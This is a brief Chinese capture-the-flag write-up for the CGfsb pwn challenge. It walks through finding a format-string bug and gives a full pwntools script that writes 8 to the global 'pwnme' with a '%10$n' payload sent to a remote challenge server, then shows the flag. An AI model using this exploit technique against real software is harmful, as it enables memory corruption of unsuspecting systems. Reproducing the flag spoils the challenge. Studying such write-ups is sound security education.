解析
先进行第一步,checksec一下。
这个开启了金丝雀,有点烦,看一下代码,拖入ida中进行查看。
一个格式化字符串漏洞,咱们先实验一下。
可以看见偏移了10位。
之后下面这里带了一个,说是pwnme要是等于8,就会出flag,那么我们要给顶上8个字节,加上偏移是个字节。
所以是pwnme的地址 + 四个补充字节达到八个字节 + 偏移10个字节输出,脚本成立开始写。
脚本
from pwn import *
context(os = 'linux',arch = 'i386',log_level = 'debug')
#p = process('./CGfsb')
p = remote('111.200.241.244',60724)
elf = ELF('CGfsb')
elf_pwnme = elf.sym['pwnme']
print('pwnme的地址:'+hex(elf_pwnme))
p.recv()
p.sendline(b'aaa')
p.recv()
payload = p32(elf_pwnme) + b'aaaa'+ b'%10$n'
p.sendline(payload)
p.interactive()
flag是:cyberpeace{2c89860f3ce29fe6f9f629618d497a60}